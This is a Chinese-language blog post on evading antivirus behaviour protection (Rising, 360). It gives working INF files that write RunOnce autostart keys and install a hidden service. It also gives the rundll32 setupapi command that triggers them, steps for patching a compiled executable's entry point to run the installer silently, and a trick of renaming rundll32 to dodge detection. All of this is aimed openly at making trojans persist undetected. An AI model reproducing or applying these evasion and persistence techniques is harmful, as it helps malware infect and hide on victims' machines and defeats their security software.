利用INF安裝服務啓動 及 淺析瑞星行爲檢測、360主動防禦



        2010年,反病毒(AntiVirus)與反-反病毒(Anti-AntiVirus)不論是從技術的深度、涉及的方方面面,又上升了一個層次。

        行爲防禦、雲安全技術等一些新技術不斷的加入反病毒的行列,這讓很多習慣基於特徵碼免殺的朋友(包括筆者在內)措手不及。記得冰血封情前輩在a1pass免殺一書<***免殺入門>的 序 寫到:
        然而,狼的存在,讓鹿開始選擇鍛鍊奔跑,自然選擇會讓孱弱的個體在生存競爭中被淘汰,留下的狼和鹿都越來越矯健……

        自然的法則,使反病毒技術和免殺技術互相對抗過程中,雙發都得到了很大的提高。這是可見的。

        然而某天,狼的四肢開始強健時,你還等什麼呢?

        開源使免殺的思路得以最大限度的擴展,它的好處是不言而喻的,有了它我們可以改變程序運行的流程、功能實現的方式等等。但,很多時候我們僅有的只是一個編譯好的可執行文件,那麼,我們又該如何依靠的自身或者藉助其它方面的力量來幫住我們的***突破行爲防禦呢?

        本文就以 瑞星殺毒軟件、360安全衛士7.1正式版 這兩款系統安全軟件作爲實驗對象,來淺析下它們的內部Something;以及,使用INF文件突破主動防禦安裝服務。

正文

        INF在Windows系統中隨處可見,尤其被大量的應用在軟件、程序安裝的安裝過程當中。還有病毒、***的利用,比如前幾年很火的利用autorun.inf來感染各個磁盤的根目錄,使其雙擊即可達到運行指定***的效果。但是如今已經被反病毒軟件所查殺。

        而筆者今天所講的,也是利用INF文件安裝服務,使***突破360安全衛士、瑞星的主動防禦。

        要靈活地使用INF文件,那麼我們還需稍微的瞭解下INF文件的相關信息:

INF文件

(由於內容過於繁多,此文只介紹需要用到的INF文件信息,如需查看更詳細的內容,請查閱:百度百科。以下內容均來自百度百科,由筆者節選、修改)

INF文件簡介

INF是Device INFormation File的英文縮寫,是Microsoft公司爲硬件設備製造商發佈其驅動程序推出的一種文件格式,是Windows操作系統下用來描述設備或文件等數據信息的文件。

INF文件是一個由標準ASCII組成的文本文件,您可以用任何一款文字編輯器查看修改其中的內容。一般我們總是認爲INF文件是系統設備的驅動程序,其實這是錯誤的認識,Windows之所以在安裝某些硬件的驅動時提示需要INF文件是因爲INF文件爲該設備提供了一個全面描述硬件參數和相應驅動文件(DLL文件)的信息。就好比我們看着說明書安裝電腦硬件一樣,我們就是Windows系統,說明書就是INF文件。


INF文件結構

在Windows系統下,您可以用任何文本編輯軟件查看、修改其中的內容。INF文件有一整套編寫規則,每一個INF文件都是嚴格按照其規則來編寫的。

規則一:INF是分節的,由許多節組成,節名使用方括號包含。某些節名由系統定義,也可以是用戶來定義。每一個節名最長爲255個字符(Windows 2000/XP/2003操作系統中)或28個字符(Windows 98操作系統中)。節與節之間沒有先後順序的區別,另外,同一個INF文件中如果出現兩個同樣的節名,則系統會自動將這兩個節名下面的條目合併到一起。

規則二:INF文件中節與節之間又包含條目,節可以是由很多條目組成。每個條目等號後面的值用半角的雙引號包含,如果每一個條目的等號後有多個值,則每一個值之間用“,”號分隔開。

規則三:INF文件不分大小寫。

規則四:INF文件使用“;”來註釋

規則五:如果一個條目的內容過多,在一行無法完全書寫,則用“\”將一行內容書寫爲多行。

瞭解INF文件的規則後,接下來我們剖析下INF文件的結構。

1、Version
每個INF文件都應該包含Version節。該節中描述的條目主要是描述此INF文件支持的設備類型和適用的操作系統。

該節中包含了一個由系統定義的條目 Signature,其取值可爲以下兩種:
$CHICAGO$:表示該INF文件適用於Windows 98之後的操作系統。
$WINDOWS NT$:表示該INF文件適用於Windows 2000/2003/XP操作系統。

2、DestinationDirs
INF文件會指示安裝程序在安裝過程中,將複製文件的到硬盤上,或者刪除某些文件,重命名文件等。該節的條目包含了目標文件的路徑。

3、String
當某些字符串頻繁的出現在該INF文件中,可以在String下增加一個字符串變量。與編程中的變量概念等同。

4、Defaultinstall & Install
這一節中描述了設備驅動程序與硬件設備的實際屬性。默認情況下,首先執行DefaultInstall節,該節指定了相關操作:比如寫註冊表、刪除文件、複製文件等等。同時又包含指向其他節的指針。


        爲了使文字更加具體化,下面貼出一個簡單的INF文件例子,來使大家更加熟悉INF文件:
  1. [Version]
  2. Signature="$WINDOWS NT$"        ;該INF文件適用於Windows 2000/2003/XP系統

  3. [DefaultInstall]
  4. DelFiles=InfDeleteFile                ;DelFiles爲系統定義的操作,而後面DeleteFile則是我們所定義的節。
  5.         
  6. [DestinationDirs]
  7. InfDeleteFile=01                ;將要操作的節的目錄指示爲當前路徑

  8. [InfDeleteFile]
  9. 1.txt,,,1                        ;刪除當前目錄下的1.txt文件
複製代碼
將以上內容保存爲del.inf文件,再新建一個test.txt文本文件。右鍵點擊"del.inf" -> 單擊"安裝",可以看到的結果是"test.txt"已經被刪除了。

實戰

        紙上談兵還不如踊躍一試。

        衆所周知,無論是使用ActiveX方式啓動、還是安裝服務啓動,其本質還是其向註冊表中寫入相關鍵值來實現的。但如今360安全衛士在註冊表監控方面顯得非常J8。


實踐過程

        但是利用INF文件寫RunOnce註冊表不會有任何提示(寫Run的話會提示),以下是思路及實踐。

        提示:
        Run -- 運行        Once -- 一次        RunOnce -- 運行一次
        RunOnce與Run同樣爲一個啓動鍵值,但與Run不同的是,在啓動一次(開機)後便會刪除其中的鍵值。

        如果某***的服務端採用了寫RunOnce鍵值來自啓動,那麼計算機重啓一次後,我們的***就成爲一塊廢鐵無法使用了。

        是這樣嗎?難道真的是如此嗎?非也,我提示一個關鍵字:do while.

        什麼意思呢?學過計算機編程的朋友可以知道,do while語句和while語句的不同在於do while語句至少會被執行一次!我們可以抓住“至少”這個重點詞彙來分析,而結果就是:寫RunOnce註冊表項可以使服務端至少運行一次。

        我們來想象下這個過程:

      
服務端運行、inf寫RunOnce註冊表項 -> 重啓 -> 服務端運行 -> 系統刪除RunOnce註冊表項 -> 重啓。


        很清楚的可以看出結果,這個循環就到此結束了。如果在服務端中加入自動寫RunOnce註冊表項,如此一來,讓我們淫蕩的聯想下……

      
服務端運行時調用inf寫RunOnce註冊表項 -> 重啓 -> 系統刪除RunOnce註冊表項 -> 服務端運行時調用inf寫RunOnce註冊表項 -> 重啓 …………


        Bingo,一個無限循環!

        高興的同時,新的問題出現了:很多時候我們僅僅擁有的是一個編譯好的可執行文件,如何加入自動調用inf安裝文件來執行寫入RunOnce註冊表功能呢?

        很多朋友已經想到了,你們的答案是否與筆者的一樣:反彙編。

        是的,我們可以使用反彙編來完成這麼一個過程。

        需要的工具:OD、PEID、LoadPE
        需要的指令:PUSH(壓棧指令) & Call(子程序調用指令) & JMP (無條件跳轉指令)

        我們以一個MD5Check來當做實驗的例子。

        1、使用PEID查詢程序的基址、0區域信息:
        
        

        這裏我們選擇.text區段裏的0區域作爲我們的實驗戰場。

        2、使用OD載入,待程序分析完後自動停止下來,我們記錄其程序的入口點:

        

        經過上面2個步驟,我們得到如下信息:
        入口點:00402282
        鏡像基址:00400000
        0區域RAV:00007AAF
        0區域內存地址:00407AAF (計算公式:鏡像基址 + 0區域RAV = 0區域內存地址)

        3、使用OD載入MD5Check,按Ctrl + G,輸入計算得到的0區域的內存地址,程序自動來到了一片00區域:




        選中00407AAF地址,按Ctrl + E,在彈出的窗口中輸入call.bat,點擊確定:

        

        4、向下尋找一塊00區域,依次填入:
  1. Push        0                ;即WinExec函數參數中的SW_HIDE
  2. Push        00407AAF         ;00區域的首地址,也就是字符串的首地址
  3. Call        WinExec                ;調用Kernel32.dll中的WinExec函數
  4. JMP        00402282        ;爲了使程序在完成我們所添加的功能後,還要執行原有的功能,因此要跳回程序的原入口
複製代碼
並記錄Push的內存地址。

結果:

        5、選中被修改的區域,右鍵 -> 複製到可執行文件 -> 選擇,把程序保存爲Test.exe,關閉OD:
        

        6、用LordPE打開Test.exe文件,在<入口點>中填入程序新的入口點。
        (計算公式:新入口點內存地址 - 鏡像基址 = 入口點,即00407ACC - 00400000 = 00007ACC)
        
        點擊保存,關閉LordPE。

        7、然後創建一個call.bat文件,放到與test.exe同目錄,其內容如下:

  1. rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 C:\inst.inf
複製代碼
在C盤根目錄下創建一個inst.inf文件,內容如下:
  1. [Version]
  2. Signature="$CHICAGO$"

  3. [DefaultInstall]
  4. AddReg=test

  5. [test]
  6. HKCU,Software\Microsoft\Windows\CurrentVersion\RunOnce,test,0,"C:\test.exe"        ;這裏指向服務端的路徑
複製代碼
到這裏,基本的工作就算完成了,爲了驗證其效果,我們運行一下test.exe,經過修改後的MD5Check成功寫入了註冊表:
        
        
        下面是一個安裝服務的INF文件實例,安裝後會創建一個名稱爲“Darkst”,描述信息爲“Tested By Miku_fl0”的服務,內容已經做了詳細的註釋。
  1. [Version]
  2. Signature="$WINDOWS NT$"

  3. [DefaultInstall.Services]
  4. AddService=Darkst,,Add_Evil_Service ;服務名稱

  5. [Add_Evil_Service]
  6. DisplayName=Darkst ;顯示名稱
  7. Description=Tested By Miku_fl0 ;服務描述
  8. ServiceType=0x10 ;服務類型
  9. StartType=2 ;啓動類型
  10. ErrorControl=0 ;錯誤控制
  11. ServiceBinary=C:\windows\rav.exe ;服務要加載的exe文件路徑
複製代碼


        以上方法依然可以過瑞星的主動防禦和行爲防禦。

        把<文件監控>、<系統加固>、<***行爲防禦>、<******攔截>均調到最高等級,把inst.inf文件複製到C盤根目錄下,在cmd下輸入:
  1. rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 C:\inst.inf
複製代碼
瑞星行爲防禦提示:發現未知***
        

        然而我們調用的是system32目錄下的rundll32.exe,此文件爲系統文件。

        偶然間想起360的文件名檢查模式,那麼我們來嘗試改文件名,將rundll32.exe複製到C盤根目錄,重命名爲rav.exe,在cmd下輸入:
  1. rav.exe setupapi,InstallHinfSection DefaultInstall 128 C:\inst.inf
複製代碼
瑞星沒有任何反應。

        再使用reg文件寫RunOnce啓動項時,瑞星提示:發現未知***病毒
        

        而我們調用的卻是系統的reg命令。

        筆者的電腦除了日常使用的黑軟之外,其它均無感染或者其屬性***病毒。那麼,是否可以得出行爲防禦就不存在特徵碼呢?

        當然,僅僅憑這一點來做出結論是很魯莽的。畢竟反病毒軟件的內部機制方方面面,我們無法僅僅通過一面來確定它所擁有的全部。

        但是話說回來,行爲防禦,行爲、行爲?從字面的意思就可以很好的理解,行爲即指程序運行時所做的動作。再結合全部的字面意思我們再來理解下,***行爲防禦,可以用一句話來高度概括:從***運行時本身會做的動作進行識別、判斷。

        如果這樣的概括是對的,那麼如此一來,就可以知道,***的行爲本身就是特徵碼,比如正常文件是不會自動刪除的,而***則會在安裝後進行自刪除。但是網絡上的程序如此之多,不能僅僅依靠自刪除這一項來判斷是否爲***。

        行爲都是有時間順序的,我們從再***本身的角度出發,可以在腦海中顯現出一個***安裝過程的圖示:
      
運行 -> 讀取配置信息(文件操作) -> 寫入註冊表啓動項(註冊表操作) -> 拷貝文件到指定目錄 -> 運行服務端 -> 自動刪除 -> 與某個IP連接並開始通信


        (還有其它操作:比如注入進程、加載某文件等等等)

        以上是***安裝的一個大概流程圖,或許,***行爲防禦的"特徵碼"由以上與普通程序非常不一樣的行爲所構成。那麼,只要破壞其中一個或多個流程,使它們順序不一樣,或者刪除一個或多個流程,那麼,是否可以破壞掉行爲防禦呢?如果上面的猜測爲真,那麼在考慮突破行爲防禦時,就要從***自身出發,來進行免殺實驗了。
        (以上僅僅爲筆者的猜測,未進行任何實質性的實驗)

        由於"行爲"這個詞高度概括了程序運行時具體的指令,其針對性是非常小的,這樣就不需要繁雜的病毒特徵碼庫來識別。顯然這樣做的好處是顯而易見的,其缺點相信朋友們也有目共睹了,誤殺……(可憐的reg.exe和rundll32.exe)

總結

        其實在反彙編中完全可以使用echo這個命令寫入inf和bat,接着進行調用,再使用del命令刪除,這樣可以使文件數不會過於繁多。但實際上筆者只給出了一個簡單的示例,因爲筆者認爲,屏幕前聰明的你一定可以舉一反三,由筆者拋的磚,引出你們的玉。

        孫子曰:知己知彼,百戰不殆。

        免殺正式如此,只有瞭解反病毒軟件的工作原理,在當中尋找出反病毒軟件的破綻,然後通過對自身的提高,才能見到勝利的曙光!

        實際上這麼一個過程,都是摸索着過來的,雖然艱難,但也快樂!

        以上就是筆者實踐的一個過程、實踐後的思考,如有誤區,請指出
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章